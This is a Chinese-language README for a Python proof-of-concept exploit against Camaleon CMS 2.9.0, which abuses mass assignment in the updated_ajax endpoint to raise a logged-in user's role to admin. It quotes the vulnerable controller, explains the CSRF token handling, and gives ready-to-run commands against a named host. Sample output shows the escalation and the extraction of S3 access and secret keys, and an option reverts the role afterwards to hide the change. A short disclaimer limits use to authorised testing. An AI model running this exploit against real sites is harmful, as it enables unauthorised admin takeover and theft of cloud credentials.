目标: Camaleon CMS
v2.9.0
类型: 通过updated_ajax中的批量赋值进行的认证后权限提升(角色字段)
额外功能: 从管理员设置页面可选提取S3配置(如果经过权限提升后认证用户可以访问)
本仓库包含一个Python概念验证脚本,能够:
/admin/profile/edit 获取CSRF令牌。updated_ajax 端点来更新 password[...] 字段,并滥用 permit! 设置 password[role]=admin。-e)从 /admin/settings/site 提取S3配置值。-r)在运行后将角色恢复为原始值。此行为与相关公告中描述的不安全批量赋值模式一致:
下面的控制器动作使用 permit! 更新用户:
def updated_ajax
@user = current_site.users.find(params[:user_id])
update_session = current_user_is?(@user)
@user.update(params.require(:password).permit!)
render inline: @user.errors.full_messages.join(', ')
# keep user logged in when changing their own password
update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end
因为 permit! 允许 password 下的所有键,攻击者可以发送:
password[password]password[password_confirmation]password[role]=admin应用程序会接受它,从而提升用户的角色。
admin 来提升权限。requests安装依赖:
pip install requests
python exploit.py -u http://alienone.in -U test -P test
-e)python exploit.py -u http://alienone.in -U test -P test -e
-r)python exploit.py -u http://alienone.in -U test -P test -r
python exploit.py -u http://alienone.in -U test -P test -e -r
python3 exploit.py -u http://alienone.in -U test -P test -e -r
[+]Camaleon CMS 版本 2.9.0 权限提升(已认证)
[+]登录确认
用户ID: 5
当前用户角色: client
[+]正在加载权限提升
用户ID: 5
更新后用户角色: admin
[+]正在提取S3凭证
s3 access key: AKIAF3A388ECF117D966
s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
s3 endpoint: http://localhost:54321
[+]正在恢复用户角色
用户ID: 5
用户角色: client
脚本检查登录POST后返回的HTML中是否包含 /admin/logout 链接。
如果存在注销链接,则认为会话已认证。
Camaleon使用Rails风格的CSRF。通常在两个常见位置看到令牌:
name="authenticity_token" value="..."<meta name="csrf-token" content="...">PoC从 /admin/profile/edit 获取meta csrf-token,并在以下位置使用:
authenticity_token=<token>X-CSRF-Token: <token>此代码仅用于授权的安全测试和教育目的(例如,实验室、CTF以及已获得明确许可的环境)。
请勿将其用于您不拥有或无权测试的系统。
| 标志 | 描述 |
|---|
-u, --url | 基础URL(例如 http://alienone.in) |
-U, --username | 有效用户名 |
-P, --password | 有效密码 |
--newpass | 更新请求中发送的密码值(默认:test) |
-e, --extract | 从设置页面提取S3配置 |
-r, --revert | 在提升后恢复角色为原始角色 |